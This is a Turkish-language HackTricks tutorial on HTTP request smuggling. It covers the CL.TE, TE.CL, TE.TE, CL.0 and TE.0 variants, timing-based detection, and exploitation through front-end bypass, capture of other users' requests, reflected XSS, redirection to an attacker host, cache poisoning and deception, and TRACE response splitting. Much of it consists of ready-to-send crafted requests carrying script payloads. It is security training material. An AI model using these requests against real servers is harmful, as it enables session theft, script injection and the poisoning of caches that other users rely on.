Turkish - Ht
HackTricks Training Twitter Linkedin Sponsor

HTTP Request Smuggling / HTTP Desync Attack

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Nedir

Bu zafiyet, ön uç proxyleri ile arka uç sunucu arasında bir senkronizasyon bozukluğu olduğunda meydana gelir ve bu, bir saldırganın HTTP isteği göndermesine olanak tanır; bu istek ön uç proxyleri tarafından tek bir istek olarak ve arka uç sunucu tarafından 2 istek olarak yorumlanır. Bu, bir kullanıcının arka uç sunucusuna gelen bir sonraki isteği değiştirmesine olanak tanır.

Teori

RFC Spesifikasyonu (2161)

Eğer bir mesaj hem Transfer-Encoding başlık alanı hem de Content-Length başlık alanı ile alınırsa, ikincisi GÖZARDI EDİLMELİDİR.

Content-Length

Content-Length varlık başlığı, alıcıya gönderilen varlık gövdesinin boyutunu, bayt cinsinden belirtir.

Transfer-Encoding: chunked

Transfer-Encoding başlığı, yük gövdesinin kullanıcıya güvenli bir şekilde aktarılması için kullanılan kodlama biçimini belirtir. Chunked, büyük verilerin bir dizi parça halinde gönderildiği anlamına gelir.

Gerçeklik

Ön Uç (bir yük dengeleme / Ters Proxy) content-length veya transfer-encoding başlığını işler ve Arka Uç sunucu diğerini işler, bu da iki sistem arasında bir senkronizasyon bozukluğu yaratır. Bu, bir saldırganın ters proxyye bir istek göndermesine olanak tanır ve bu istek arka uç sunucu tarafından 2 farklı istek olarak yorumlanır. Bu tekniğin tehlikesi, arka uç sunucunun 2. isteği enjekte edilmiş gibi yorumlaması ve o istemcinin gerçek isteğinin enjekte edilmiş isteğin bir parçası olmasıdır.

Özellikler

HTTP'de yeni bir satır karakteri 2 bayttan oluşur:

  • Content-Length: Bu başlık, isteğin gövdesinin bayt sayısını belirtmek için bir ondalık sayı kullanır. Gövdenin son karakterde bitmesi beklenir, isteğin sonunda yeni bir satıra ihtiyaç yoktur.

  • Transfer-Encoding: Bu başlık, gövde içinde bir onaltılık sayı kullanarak bir sonraki parçanın bayt sayısını belirtir. Parça, yeni bir satır ile bitmelidir ancak bu yeni satır uzunluk göstergesi tarafından sayılmaz. Bu aktarım yöntemi, 0 boyutunda bir parça ile 2 yeni satır ile bitmelidir: 0

  • Connection: Deneyimlerime dayanarak, istek Smuggling'in ilk isteğinde Connection: keep-alive kullanılması önerilir.

Temel Örnekler

Burp Suite ile bunu sömürmeye çalışırken Update Content-Length ve Normalize HTTP/1 line endings seçeneklerini devre dışı bırakın çünkü bazı araçlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır.

HTTP istek smuggling saldırıları, Content-Length (CL) ve Transfer-Encoding (TE) başlıklarının ön uç ve arka uç sunucular tarafından nasıl yorumlandığındaki tutarsızlıklardan yararlanan belirsiz istekler göndererek oluşturulur. Bu saldırılar, esas olarak CL.TE, TE.CL ve TE.TE olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucuların bu başlıkları nasıl önceliklendirdiğinin benzersiz bir kombinasyonunu temsil eder. Zafiyetler, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.

Zafiyet Türlerinin Temel Örnekleri

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Önceki tabloya TE.0 tekniğini eklemelisiniz, CL.0 tekniği gibi ancak Transfer Encoding kullanarak.

CL.TE Zafiyeti (Content-Length Ön Uç tarafından, Transfer-Encoding Arka Uç tarafından kullanılır)

  • Ön Uç (CL): İsteği Content-Length başlığına göre işler.

  • Arka Uç (TE): İsteği Transfer-Encoding başlığına göre işler.

  • Saldırı Senaryosu:

  • Saldırgan, Content-Length başlığının değeri gerçek içerik uzunluğuyla eşleşmeyen bir istek gönderir.

  • Ön uç sunucu, Content-Length değerine dayanarak tüm isteği arka uca iletir.

  • Arka uç sunucu, Transfer-Encoding: chunked başlığı nedeniyle isteği parça parça olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Zafiyeti (Transfer-Encoding Ön Uç tarafından, Content-Length Arka Uç tarafından kullanılır)

  • Ön Uç (TE): İsteği Transfer-Encoding başlığına göre işler.

  • Arka Uç (CL): İsteği Content-Length başlığına göre işler.

  • Saldırı Senaryosu:

  • Saldırgan, parça boyutunun (7b) ve gerçek içerik uzunluğunun (Content-Length: 4) uyum sağlamadığı bir parça isteği gönderir.

  • Ön uç sunucu, Transfer-Encoding başlığını dikkate alarak tüm isteği arka uca iletir.

  • Arka uç sunucu, Content-Length başlığını dikkate alarak isteğin yalnızca ilk kısmını (7b bayt) işler ve geri kalanını istenmeyen bir sonraki isteğin parçası olarak bırakır.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Zafiyeti (Her ikisi de Transfer-Encoding kullanıyor, obfuscation ile)

  • Sunucular: Her ikisi de Transfer-Encoding destekliyor, ancak biri obfuscation yoluyla bunu göz ardı etmeye ikna edilebilir.

  • Saldırı Senaryosu:

  • Saldırgan, obfuscate edilmiş Transfer-Encoding başlıkları ile bir istek gönderir.

  • Hangi sunucunun (ön uç veya arka uç) obfuscation'ı tanımadığına bağlı olarak, bir CL.TE veya TE.CL zafiyeti sömürülebilir.

  • İsteğin işlenmemiş kısmı, sunuculardan biri tarafından görüldüğünde, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Senaryosu (Content-Length her iki tarafça da kullanılır)

  • Her iki sunucu da isteği yalnızca Content-Length başlığına dayanarak işler.

  • Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucu da isteğin uzunluğunu yorumlama konusunda uyumludur.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Senaryosu

  • Content-Length başlığının mevcut olduğu ve sıfırdan farklı bir değere sahip olduğu senaryoları ifade eder; bu, isteğin gövdesinin içerik taşıdığını gösterir. Arka uç, Content-Length başlığını göz ardı eder (bu 0 olarak kabul edilir), ancak ön uç bunu işler.

  • Smuggling saldırılarını anlamak ve oluşturmak için kritik öneme sahiptir, çünkü sunucuların bir isteğin sonunu belirlemesini etkiler.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Senaryosu

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Web sunucusunu kırma

Bu teknik, ilk HTTP verilerini okurken bir web sunucusunu kırmanın mümkün olduğu senaryolarda da faydalıdır, ancak bağlantıyı kapatmadan. Bu şekilde, HTTP isteğinin gövdesi bir sonraki HTTP isteği olarak kabul edilecektir.

Örneğin, bu yazıda açıklandığı gibi, Werkzeug'ta bazı Unicode karakterleri göndermek mümkündü ve bu sunucunun kırılmasına neden oluyordu. Ancak, HTTP bağlantısı Connection: keep-alive başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık kalacak, bu nedenle isteğin gövdesi bir sonraki HTTP isteği olarak işlenecektir.

Hop-by-hop başlıkları ile zorlamak

Hop-by-hop başlıklarını kötüye kullanarak, proxy'ye Content-Length veya Transfer-Encoding başlığını silmesini belirtebilir ve böylece HTTP request smuggling'in kötüye kullanılmasını sağlayabilirsiniz.

Connection: Content-Length

For daha fazla bilgi için hop-by-hop başlıkları ziyaret edin:

hop-by-hop headers

HTTP İsteği Kaçırma Bulma

HTTP isteği kaçırma açıklarını tanımlamak genellikle zamanlama teknikleri kullanılarak gerçekleştirilebilir; bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesi için ne kadar süre geçtiğini gözlemlemeye dayanır. Bu teknikler, özellikle CL.TE ve TE.CL açıklarını tespit etmek için faydalıdır. Bu yöntemlerin yanı sıra, bu tür açıkları bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:

Zamanlama Teknikleri Kullanarak CL.TE Açıklarını Bulma

  • Yöntem:

  • Uygulama açık ise, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Gözlem:

  • Ön uç sunucu, isteği Content-Length temelinde işler ve mesajı erken keser.

  • Arka uç sunucu, parçalı bir mesaj bekleyerek, asla gelmeyecek olan bir sonraki parçayı bekler ve bu da bir gecikmeye neden olur.

  • Göstergeler:

  • Yanıt süre aşımı veya uzun gecikmeler.

  • Arka uç sunucudan 400 Bad Request hatası almak, bazen ayrıntılı sunucu bilgileri ile birlikte.

Zamanlama Teknikleri Kullanarak TE.CL Açıklarını Bulma

  • Yöntem:

  • Uygulama açık ise, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.

  • Örnek:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

  • Gözlem:

  • Ön uç sunucu, isteği Transfer-Encoding temelinde işler ve tüm mesajı iletir.

  • Arka uç sunucu, Content-Length temelinde bir mesaj bekleyerek, asla gelmeyecek olan ek veriyi bekler ve bu da bir gecikmeye neden olur.

Açıkları Bulmak için Diğer Yöntemler

  • Farklı Yanıt Analizi:

  • Bir isteğin hafifçe farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklı olup olmadığını gözlemleyin; bu, bir ayrıştırma tutarsızlığını gösterir.

  • Otomatik Araçlar Kullanma:

  • Burp Suite'in 'HTTP Request Smuggler' eklentisi gibi araçlar, çeşitli belirsiz istekler göndererek ve yanıtları analiz ederek bu açıkları otomatik olarak test edebilir.

  • Content-Length Varyans Testleri:

  • Gerçek içerik uzunluğu ile uyumlu olmayan değişken Content-Length değerleri ile istekler gönderin ve sunucunun bu tür uyumsuzlukları nasıl ele aldığını gözlemleyin.

  • Transfer-Encoding Varyans Testleri:

  • Obfuscate edilmiş veya hatalı Transfer-Encoding başlıkları ile istekler gönderin ve ön uç ve arka uç sunucularının bu tür manipülasyonlara nasıl farklı yanıt verdiğini izleyin.

HTTP İsteği Kaçırma Açığı Testi

Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin, / isteği göndererek 404 yanıtı almak. Daha önce Temel Örnekler bölümünde tartışılan CL.TE ve TE.CL örnekleri, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen, istemci isteğini zehirleyerek 404 yanıtı elde etmenin nasıl yapılacağını göstermektedir.

Anahtar Dikkat Noktaları

Diğer isteklerle müdahale ederek istek kaçırma açıklarını test ederken, aklınızda bulundurmanız gerekenler:

  • Ayrı Ağ Bağlantıları: "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her iki istek için aynı bağlantıyı kullanmak, açığın varlığını doğrulamaz.

  • Tutarlı URL ve Parametreler: Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle istekleri URL ve parametrelere göre belirli arka uç sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için bir ön koşuldur.

  • Zamanlama ve Yarış Koşulları: "Normal" istek, "saldırı" isteğinden gelen müdahaleyi tespit etmek için diğer eşzamanlı uygulama istekleriyle rekabet eder. Bu nedenle, "normal" isteği "saldırı" isteğinden hemen sonra gönderin. Yoğun uygulamalar, kesin bir açık doğrulaması için birden fazla deneme gerektirebilir.

  • Yük Dengeleme Zorlukları: Yük dengeleyici olarak hareket eden ön uç sunucular, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlerde sonuçlanırsa, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir açığı doğrulamak için birkaç deneme gerektirebilir.

  • İstenmeyen Kullanıcı Etkisi: Eğer saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" isteği değil) istemeden etkiliyorsa, bu, saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test, diğer kullanıcıları rahatsız edebilir; bu nedenle dikkatli bir yaklaşım gereklidir.

HTTP İsteği Kaçırmayı Kötüye Kullanma

HTTP İsteği Kaçırma ile Ön Uç Güvenliğini Aşma

Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP İsteği Kaçırma kullanılarak aşılabilir ve yetkisiz erişim sağlanabilir. Örneğin, /admin erişimi dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, kaçırılmış bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir açık bırakır.

Aşağıdaki örnekler, HTTP İsteği Kaçırma'nın ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini, özellikle ön uç proxy tarafından genellikle korunan /admin yolunu hedef alarak göstermektedir:

CL.TE Örneği

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE saldırısında, başlangıç isteği için Content-Length başlığı kullanılırken, sonraki gömülü istek Transfer-Encoding: chunked başlığını kullanır. Ön uç proxy, başlangıç POST isteğini işler ancak gömülü GET /admin isteğini denetlemeyi başaramaz, bu da /admin yoluna yetkisiz erişime izin verir.

TE.CL Örneği

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Tersine olarak, TE.CL saldırısında, başlangıçtaki POST isteği Transfer-Encoding: chunked kullanır ve sonraki gömülü istek Content-Length başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy, kaçırılan GET /admin isteğini göz ardı eder ve istemeden de olsa kısıtlı /admin yoluna erişim sağlar.

Ön uç istek yeniden yazımını açığa çıkarma

Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir ön uç sunucusu kullanır. Tipik bir değişiklik, arka uca istemcinin IP'sini iletmek için X-Forwarded-For: <IP of the client> gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak kritik olabilir, çünkü korumaları aşmanın veya gizli bilgileri veya uç noktaları açığa çıkarmanın yollarını ortaya çıkarabilir.

Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdaki gibi bir istek oluşturun:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Bu yapıda, sonraki istek bileşenleri search= ifadesinden sonra eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin başlıklarını açığa çıkaracaktır.

İç içe isteğin Content-Length başlığının gerçek içerik uzunluğu ile hizalanması önemlidir. Küçük bir değerle başlayıp yavaşça artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi keserken, çok yüksek bir değer isteğin hata vermesine neden olabilir.

Bu teknik, bir TE.CL açığı bağlamında da uygulanabilir, ancak istek search=\r\n0 ile sonlanmalıdır. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.

Bu yöntem esasen ön uç proxy tarafından yapılan istek değişikliklerini anlamak için kullanılır ve temelde kendi kendine yönlendirilmiş bir araştırma yapar.

Diğer kullanıcıların isteklerini yakalamak

Bir POST işlemi sırasında bir parametrenin değeri olarak belirli bir isteği ekleyerek bir sonraki kullanıcının isteklerini yakalamak mümkündür. Bunu şu şekilde gerçekleştirebilirsiniz:

Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek, sonraki istemcinin isteğini depolayabilirsiniz:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Bu senaryoda, comment parametresi, kamuya açık bir sayfadaki bir gönderinin yorum bölümündeki içerikleri saklamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği bir yorum olarak görünecektir.

Ancak, bu tekniğin sınırlamaları vardır. Genel olarak, yalnızca kaçak istekte kullanılan parametre ayırıcıya kadar veri yakalar. URL kodlu form gönderimleri için bu ayırıcı & karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk & ile duracağı anlamına gelir; bu, sorgu dizesinin bir parçası bile olabilir.

Ayrıca, bu yaklaşımın TE.CL zafiyeti ile de geçerli olduğunu belirtmek gerekir. Bu tür durumlarda, istek search=\r\n0 ile sona ermelidir. Satır sonu karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.

HTTP istek kaçakçılığını yansıyan XSS'i istismar etmek için kullanma

HTTP Request Smuggling, Yansıyan XSS'e karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:

  • Hedef kullanıcılarla etkileşim gerekmez.

  • İsteğin normalde ulaşılamayan kısımlarında, örneğin HTTP istek başlıklarında XSS'in istismarına olanak tanır.

Bir web sitesinin User-Agent başlığı aracılığıyla Yansıyan XSS'e karşı savunmasız olduğu senaryolarda, aşağıdaki yük, bu zafiyeti nasıl istismar edeceğini göstermektedir:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Bu yük, açığı istismar etmek için şu şekilde yapılandırılmıştır:

  1. Smuggling'in başlangıcını belirtmek için Transfer-Encoding: chunked başlığı ile, görünüşte tipik bir POST isteği başlatmak.

  2. Chunked mesaj gövdesinin sonunu işaret eden bir 0 ile devam etmek.

  3. Ardından, User-Agent başlığına bir script, <script>alert(1)</script>, enjekte edilen bir smuggled GET isteği tanıtmak; bu, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.

User-Agent'ı smuggling ile manipüle ederek, yük normal istek kısıtlamalarını aşar ve böylece yansıtılan XSS açığını standart dışı ama etkili bir şekilde istismar eder.

HTTP/0.9

Kullanıcı içeriği, Content-type gibi bir yanıt içinde yansıtıldığında, XSS'in çalışmasını engelleyebilir. Eğer sunucu HTTP/0.9 destekliyorsa, bunu aşmak mümkün olabilir!

HTTP/0.9 sürümü, 1.0'dan önceydi ve yalnızca GET fiillerini kullanır ve başlıklar ile yanıt vermez, sadece gövdeyi kullanır.

bu yazıda, bir istek smuggling ile ve kullanıcının girişi ile yanıt verecek bir açık uç noktası ile istismar edildi; HTTP/0.9 ile bir istek smuggling yapmak için. Yanıtta yansıtılacak parametre, geçerli başlıklar ve gövde ile sahte bir HTTP/1.1 yanıtı içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve Content-Type olarak text/html olacaktır.

HTTP İsteği Smuggling ile Yerinde Yönlendirmeleri İstismar Etme

Uygulamalar genellikle yönlendirme URL'sindeki Host başlığından hostname kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasörü sonuna eğik çizgi olmadan istemek, eğik çizgiyi dahil etmek için bir yönlendirme ile sonuçlanır:

GET /home HTTP/1.1
Host: normal-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Görünüşte zararsız olan bu davranış, kullanıcıları harici bir siteye yönlendirmek için HTTP request smuggling kullanılarak manipüle edilebilir. Örneğin:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Bu kaçak istek, sonraki işlenen kullanıcı isteğinin bir saldırgan kontrolündeki web sitesine yönlendirilmesine neden olabilir:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Bu senaryoda, bir kullanıcının JavaScript dosyası için isteği ele geçirilir. Saldırgan, kötü niyetli JavaScript sunarak kullanıcıyı tehlikeye atabilir.

HTTP Request Smuggling ile Web Cache Poisoning Sömürüsü

Web cache poisoning, ön uç altyapısının içerik önbelleğe alması durumunda gerçekleştirilebilir; bu genellikle performansı artırmak için yapılır. Sunucunun yanıtını manipüle ederek, önbelleği zehirlemek mümkündür.

Daha önce, sunucu yanıtlarının 404 hatası dönecek şekilde nasıl değiştirilebileceğini gözlemledik (bkz. Temel Örnekler). Benzer şekilde, sunucuyu /static/include.js isteğine yanıt olarak /index.html içeriği sunmaya kandırmak mümkündür. Sonuç olarak, /static/include.js içeriği önbellekte /index.html ile değiştirilir, bu da /static/include.js'nin kullanıcılara erişilemez hale gelmesine neden olur ve bu durum bir Hizmet Reddi (DoS) ile sonuçlanabilir.

Bu teknik, bir Açık Yönlendirme açığı keşfedildiğinde veya açık yönlendirmeye yerel bir yönlendirme olduğunda özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir script ile /static/include.js'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş /static/include.js'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak tanır.

Aşağıda, önbellek zehirlenmesi ile açık yönlendirmeye yerel bir yönlendirme kombinasyonunun sömürülmesine dair bir illüstrasyon bulunmaktadır. Amaç, saldırgan tarafından kontrol edilen JavaScript kodunu sunmak için /static/include.js'nin önbellek içeriğini değiştirmektir:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Not edin ki, /post/next?postId=3 hedefleyen gömülü istek var. Bu istek, Host başlık değeri kullanılarak alan adını belirlemek için /post?postId=4'e yönlendirilecektir. Host başlığını değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (yerinde yönlendirme ile açık yönlendirme).

Başarılı socket zehirlenmesi sonrasında, /static/include.js için bir GET isteği başlatılmalıdır. Bu istek, önceki yerinde yönlendirme ile açık yönlendirme isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.

Sonrasında, /static/include.js için yapılan her istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir geniş XSS saldırısı başlatacaktır.

HTTP istek kaçırma kullanarak web önbellek aldatması gerçekleştirme

Web önbellek zehirlenmesi ile web önbellek aldatması arasındaki fark nedir?

  • Web önbellek zehirlenmesi'nde, saldırgan uygulamanın önbellekte bazı kötü niyetli içerikleri saklamasına neden olur ve bu içerik diğer uygulama kullanıcılarına önbellekten sunulur.

  • Web önbellek aldatması'nda, saldırgan uygulamanın önbellekte başka bir kullanıcıya ait bazı hassas içerikleri saklamasına neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.

Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış bir istek hazırlar. Aşağıdaki örneği düşünün:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Eğer bu kaçak istek, statik içerik için tasarlanmış bir önbellek girişini zehirliyorsa (örneğin, /someimage.png), mağdurun /private/messages adresindeki hassas verileri statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verilere erişim sağlayabilir.

HTTP Request Smuggling ile TRACE İstismar Etme

Bu yazıda eğer sunucuda TRACE yöntemi etkinse, bunun HTTP Request Smuggling ile istismar edilebileceği önerilmektedir. Bunun nedeni, bu yöntemin sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtmasıdır. Örneğin:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Gönderecek bir yanıt şöyle olacak:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Bir davranışı kötüye kullanma örneği, önce bir HEAD isteği sızdırmak olacaktır. Bu istek, yalnızca bir GET isteğinin başlıklarıyla yanıtlanacaktır (Content-Type bunlar arasında). Ve HEAD'den hemen sonra bir TRACE isteği sızdırmak, bu istek gönderilen verileri yansıtacaktır. HEAD yanıtı bir Content-Length başlığı içereceğinden, TRACE isteğinin yanıtı HEAD yanıtının gövdesi olarak kabul edilecek ve bu nedenle yanıt içinde rastgele verileri yansıtacaktır. Bu yanıt, bağlantı üzerinden bir sonraki isteğe gönderilecektir, bu nedenle bu, örneğin rastgele JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir.

HTTP Yanıt Bölme ile TRACE Kötüye Kullanımı

bu gönderiyi takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunu önermektedir. Yorumlandığı gibi, bir HEAD isteği ve bir TRACE isteği sızdırarak, HEAD isteğine yanıt olarak yansıtılan bazı verileri kontrol etmek mümkündür. HEAD isteğinin gövdesinin uzunluğu esasen Content-Length başlığında belirtilmiştir ve TRACE isteğine verilen yanıtla oluşmaktadır.

Bu nedenle, yeni fikir, bu Content-Length ve TRACE yanıtında verilen verileri bilerek, TRACE yanıtının Content-Length'ın son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak, bir saldırganın bir sonraki yanıt için isteği tamamen kontrol etmesine olanak tanımaktır (bu, bir önbellek zehirlenmesi gerçekleştirmek için kullanılabilir).

Örnek:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Bu yanıtları üretecektir (HEAD yanıtının bir Content-Length'e sahip olduğunu ve TRACE yanıtının HEAD gövdesinin bir parçası haline geldiğini ve HEAD Content-Length'i sona erdiğinde geçerli bir HTTP yanıtının sızdırıldığını not edin):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

